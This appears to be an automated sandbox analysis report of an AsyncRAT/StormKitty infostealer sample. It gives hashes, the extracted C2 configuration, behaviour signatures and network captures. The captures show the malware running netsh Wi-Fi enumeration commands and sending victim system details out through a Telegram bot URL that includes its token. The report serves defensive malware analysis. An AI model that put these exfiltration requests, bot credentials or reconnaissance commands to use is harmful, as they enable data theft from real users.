Analysis

  • max time kernel
    145s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-12-2024 06:33

General

  • Target

    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe

  • Size

    170KB

  • MD5

    570ba0188889aed59be8c1269a8efc92

  • SHA1

    0b343b4c10c2488dc8e25cef05620f284127aa59

  • SHA256

    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357

  • SHA512

    67189208c295a9c3238fa4cb925b09af9615708432741358b056fa7267a285f99a7013ef855e2e72caf25e086f1f17fa69e0223fb011451b36cbe36b2c1818a7

  • SSDEEP

    3072:O+STW8djpN6izj8mZw1vFcnxOlzqIPu/i9bHs2ch28kNko6+WpLr:z8XN6W8mm71zXPSi9bMC8Nn

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain
1
OC6bdSMQkrZkbDP00czjl2tfVXLxfJBh

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 1 IoCs
  • Stormkitty family
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops desktop.ini file(s) 9 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    "C:\Users\Admin\AppData\Local\Temp\3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe"
    1⤵
    • Drops desktop.ini file(s)
    • System Location Discovery: System Language Discovery
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2428
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      2⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Wi-Fi Discovery
      • Suspicious use of WriteProcessMemory
      PID:752
      • C:\Windows\SysWOW64\chcp.com
        chcp 65001
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3812
      • C:\Windows\SysWOW64\netsh.exe
        netsh wlan show profile
        3⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:5024
      • C:\Windows\SysWOW64\findstr.exe
        findstr All
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4600
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2740
      • C:\Windows\SysWOW64\chcp.com
        chcp 65001
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1952
      • C:\Windows\SysWOW64\netsh.exe
        netsh wlan show networks mode=bssid
        3⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:4164

Network

  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    83.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    83.210.23.2.in-addr.arpa
    IN PTR
    Response
    83.210.23.2.in-addr.arpa
    IN PTR
    a2-23-210-83deploystaticakamaitechnologiescom
  • flag-us
    DNS
    58.55.71.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    58.55.71.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    140.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    140.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    icanhazip.com
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    Remote address:
    8.8.8.8:53
    Request
    icanhazip.com
    IN A
    Response
    icanhazip.com
    IN A
    104.16.185.241
    icanhazip.com
    IN A
    104.16.184.241
  • flag-us
    GET
    http://icanhazip.com/
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    Remote address:
    104.16.185.241:80
    Request
    GET / HTTP/1.1
    Host: icanhazip.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Date: Wed, 18 Dec 2024 06:33:43 GMT
    Content-Type: text/plain
    Content-Length: 15
    Connection: keep-alive
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Methods: GET
    Set-Cookie: __cf_bm=pQFrBEnomOr_CPgX9ig5FZku0w1WKS9trnvbbQlYz84-1734503623-1.0.1.1-vNXw..4lNgSAT07eNxok9FGUO.3_hdS3BfRwIMEDH0XMgO0l3u6eGRo3kXjyRkXYvNXzcIX1pLfdVGSX1eRYug; path=/; expires=Wed, 18-Dec-24 07:03:43 GMT; domain=.icanhazip.com; HttpOnly
    Server: cloudflare
    CF-RAY: 8f3d1f7da897642a-LHR
    alt-svc: h3=":443"; ma=86400
  • flag-us
    DNS
    api.mylnikov.org
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    Remote address:
    8.8.8.8:53
    Request
    api.mylnikov.org
    IN A
    Response
    api.mylnikov.org
    IN A
    172.67.196.114
    api.mylnikov.org
    IN A
    104.21.44.66
  • flag-us
    GET
    https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=f2:11:27:c4:d9:10
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    Remote address:
    172.67.196.114:443
    Request
    GET /geolocation/wifi?v=1.1&bssid=f2:11:27:c4:d9:10 HTTP/1.1
    Host: api.mylnikov.org
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Date: Wed, 18 Dec 2024 06:33:43 GMT
    Content-Type: application/json; charset=utf8
    Content-Length: 88
    Connection: keep-alive
    Access-Control-Allow-Origin: *
    Cache-Control: max-age=2678400
    CF-Cache-Status: MISS
    Last-Modified: Wed, 18 Dec 2024 06:33:43 GMT
    Accept-Ranges: bytes
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vN8q7pIJywUYVCR4fvLIpA3z3%2Br43Z5q7cwFJX%2FQZ%2FoUOM%2FXzou5e5brjOPm%2BkjBD7iuBJxf7Q44DTcmmgXpnYsOpjzcooAgrs6TSUXWyql3%2F%2BjpAH%2BNLJVm%2Fe4VGwOaEJya"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Strict-Transport-Security: max-age=0; preload
    X-Content-Type-Options: nosniff
    Server: cloudflare
    CF-RAY: 8f3d1f7f29dd6549-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=28368&min_rtt=26362&rtt_var=9286&sent=6&recv=6&lost=0&retrans=0&sent_bytes=2990&recv_bytes=412&delivery_rate=132046&cwnd=253&unsent_bytes=0&cid=6246c5f7e2fc2a33&ts=294&x=0"
  • flag-us
    DNS
    241.185.16.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    241.185.16.104.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    api.telegram.org
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    Remote address:
    8.8.8.8:53
    Request
    api.telegram.org
    IN A
    Response
    api.telegram.org
    IN A
    149.154.167.220
  • flag-nl
    GET
    https://api.telegram.org/bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%0A%20%20%F0%9F%8C%AA%20*WorldWind%20Stealer%202.0.4%20-%20Results:*%0ADate:%202024-12-18%206:33:30%20AM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20Admin%0ACompName:%20HGNBWBGW%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%2012th%20Gen%20Intel(R)%20Core(TM)%20i5-12400%0AGPU:%20Microsoft%20Basic%20Display%20Adapter%0ARAM:%2016154MB%0AHWID:%20Unknown%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%2010.127.0.1%0AInternal%20IP:%2010.127.1.58%0AExternal%20IP:%20181.215.176.83%0ABSSID:%20f2:11:27:c4:d9:10%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20*Bank%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20*Crypto%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Logs*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Logs:*%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%206%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=True
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    Remote address:
    149.154.167.220:443
    Request
    GET /bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%0A%20%20%F0%9F%8C%AA%20*WorldWind%20Stealer%202.0.4%20-%20Results:*%0ADate:%202024-12-18%206:33:30%20AM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20Admin%0ACompName:%20HGNBWBGW%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%2012th%20Gen%20Intel(R)%20Core(TM)%20i5-12400%0AGPU:%20Microsoft%20Basic%20Display%20Adapter%0ARAM:%2016154MB%0AHWID:%20Unknown%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%2010.127.0.1%0AInternal%20IP:%2010.127.1.58%0AExternal%20IP:%20181.215.176.83%0ABSSID:%20f2:11:27:c4:d9:10%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20*Bank%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20*Crypto%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Logs*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Logs:*%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%206%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1
    Host: api.telegram.org
    Connection: Keep-Alive
    Response
    HTTP/1.1 401 Unauthorized
    Server: nginx/1.18.0
    Date: Wed, 18 Dec 2024 06:33:45 GMT
    Content-Type: application/json
    Content-Length: 58
    Connection: keep-alive
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    Access-Control-Allow-Origin: *
    Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
  • flag-nl
    GET
    https://api.telegram.org/bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%F0%9F%93%81%20Uploading%20Log%20Folders...
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    Remote address:
    149.154.167.220:443
    Request
    GET /bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1
    Host: api.telegram.org
    Response
    HTTP/1.1 401 Unauthorized
    Server: nginx/1.18.0
    Date: Wed, 18 Dec 2024 06:33:45 GMT
    Content-Type: application/json
    Content-Length: 58
    Connection: keep-alive
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    Access-Control-Allow-Origin: *
    Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
  • flag-us
    DNS
    114.196.67.172.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    114.196.67.172.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    220.167.154.149.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    220.167.154.149.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    154.239.44.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    154.239.44.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    197.87.175.4.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    197.87.175.4.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    217.135.221.88.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    217.135.221.88.in-addr.arpa
    IN PTR
    Response
    217.135.221.88.in-addr.arpa
    IN PTR
    a88-221-135-217deploystaticakamaitechnologiescom
  • flag-us
    DNS
    206.23.85.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.23.85.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    19.229.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    19.229.111.52.in-addr.arpa
    IN PTR
    Response
  • 104.16.185.241:80
    http://icanhazip.com/
    http
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    339 B
    709 B
    6
    4

    HTTP Request

    GET http://icanhazip.com/

    HTTP Response

    200
  • 172.67.196.114:443
    https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=f2:11:27:c4:d9:10
    tls, http
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    814 B
    4.5kB
    9
    9

    HTTP Request

    GET https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=f2:11:27:c4:d9:10

    HTTP Response

    200
  • 149.154.167.220:443
    https://api.telegram.org/bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%F0%9F%93%81%20Uploading%20Log%20Folders...
    tls, http
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    2.8kB
    7.3kB
    15
    15

    HTTP Request

    GET https://api.telegram.org/bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%0A%20%20%F0%9F%8C%AA%20*WorldWind%20Stealer%202.0.4%20-%20Results:*%0ADate:%202024-12-18%206:33:30%20AM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20Admin%0ACompName:%20HGNBWBGW%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%2012th%20Gen%20Intel(R)%20Core(TM)%20i5-12400%0AGPU:%20Microsoft%20Basic%20Display%20Adapter%0ARAM:%2016154MB%0AHWID:%20Unknown%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%2010.127.0.1%0AInternal%20IP:%2010.127.1.58%0AExternal%20IP:%20181.215.176.83%0ABSSID:%20f2:11:27:c4:d9:10%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20*Bank%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20*Crypto%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Logs*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Logs:*%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%206%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=True

    HTTP Response

    401

    HTTP Request

    GET https://api.telegram.org/bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%F0%9F%93%81%20Uploading%20Log%20Folders...

    HTTP Response

    401
  • 127.0.0.1:7707
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:8808
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:7707
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:7707
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:7707
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:7707
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:7707
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:6606
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:7707
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:7707
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:8808
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:8808
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:8808
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:6606
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:8808
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:7707
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:8808
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:7707
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 127.0.0.1:7707
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
    90 B
    1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    83.210.23.2.in-addr.arpa
    dns
    70 B
    133 B
    1
    1

    DNS Request

    83.210.23.2.in-addr.arpa

  • 8.8.8.8:53
    58.55.71.13.in-addr.arpa
    dns
    70 B
    144 B
    1
    1

    DNS Request

    58.55.71.13.in-addr.arpa

  • 8.8.8.8:53
    140.32.126.40.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    140.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
    144 B
    1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    icanhazip.com
    dns
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    59 B
    91 B
    1
    1

    DNS Request

    icanhazip.com

    DNS Response

    104.16.185.241
    104.16.184.241

  • 8.8.8.8:53
    api.mylnikov.org
    dns
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    62 B
    94 B
    1
    1

    DNS Request

    api.mylnikov.org

    DNS Response

    172.67.196.114
    104.21.44.66

  • 8.8.8.8:53
    241.185.16.104.in-addr.arpa
    dns
    73 B
    135 B
    1
    1

    DNS Request

    241.185.16.104.in-addr.arpa

  • 8.8.8.8:53
    api.telegram.org
    dns
    3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
    62 B
    78 B
    1
    1

    DNS Request

    api.telegram.org

    DNS Response

    149.154.167.220

  • 8.8.8.8:53
    114.196.67.172.in-addr.arpa
    dns
    73 B
    135 B
    1
    1

    DNS Request

    114.196.67.172.in-addr.arpa

  • 8.8.8.8:53
    220.167.154.149.in-addr.arpa
    dns
    74 B
    167 B
    1
    1

    DNS Request

    220.167.154.149.in-addr.arpa

  • 8.8.8.8:53
    154.239.44.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    154.239.44.20.in-addr.arpa

  • 8.8.8.8:53
    197.87.175.4.in-addr.arpa
    dns
    71 B
    157 B
    1
    1

    DNS Request

    197.87.175.4.in-addr.arpa

  • 8.8.8.8:53
    206.23.85.13.in-addr.arpa
    dns
    71 B
    145 B
    1
    1

    DNS Request

    206.23.85.13.in-addr.arpa

  • 8.8.8.8:53
    217.135.221.88.in-addr.arpa
    dns
    73 B
    139 B
    1
    1

    DNS Request

    217.135.221.88.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    19.229.111.52.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    19.229.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\Browsers\Firefox\Bookmarks.txt

    Filesize

    105B

    MD5

    2e9d094dda5cdc3ce6519f75943a4ff4

    SHA1

    5d989b4ac8b699781681fe75ed9ef98191a5096c

    SHA256

    c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

    SHA512

    d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

  • C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\System\Process.txt

    Filesize

    4KB

    MD5

    65fe90c28511bd1152ace6261adc7c31

    SHA1

    88f023d4fa876e854602349cf51785494ab691a3

    SHA256

    fa803e97adb7a4c6f9c5c0bc2e435a84955240dca23823d2dd514ad382ca00bc

    SHA512

    2418c07fc256f5d4a3378024f1e56c2dd6e46ab2c08c3adf1fd3444244141f57669ba574c4630c1b70d0cbaef80faaffd67c4ced06e46fbc856ff279f2727540

  • C:\Users\Admin\AppData\Local\eed2bd628da1c2f6ff9a0b2cbae35763\msgid.dat

    Filesize

    1B

    MD5

    cfcd208495d565ef66e7dff9f98764da

    SHA1

    b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

    SHA256

    5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

    SHA512

    31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

  • memory/2428-130-0x000000007484E000-0x000000007484F000-memory.dmp

    Filesize

    4KB

  • memory/2428-3-0x0000000004C10000-0x0000000004C76000-memory.dmp

    Filesize

    408KB

  • memory/2428-2-0x0000000074840000-0x0000000074FF0000-memory.dmp

    Filesize

    7.7MB

  • memory/2428-0-0x000000007484E000-0x000000007484F000-memory.dmp

    Filesize

    4KB

  • memory/2428-145-0x0000000074840000-0x0000000074FF0000-memory.dmp

    Filesize

    7.7MB

  • memory/2428-146-0x0000000074840000-0x0000000074FF0000-memory.dmp

    Filesize

    7.7MB

  • memory/2428-147-0x00000000057A0000-0x0000000005832000-memory.dmp

    Filesize

    584KB

  • memory/2428-148-0x0000000005DF0000-0x0000000006394000-memory.dmp

    Filesize

    5.6MB

  • memory/2428-152-0x00000000058A0000-0x00000000058AA000-memory.dmp

    Filesize

    40KB

  • memory/2428-1-0x0000000000250000-0x0000000000280000-memory.dmp

    Filesize

    192KB

  • memory/2428-158-0x0000000074840000-0x0000000074FF0000-memory.dmp

    Filesize

    7.7MB

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.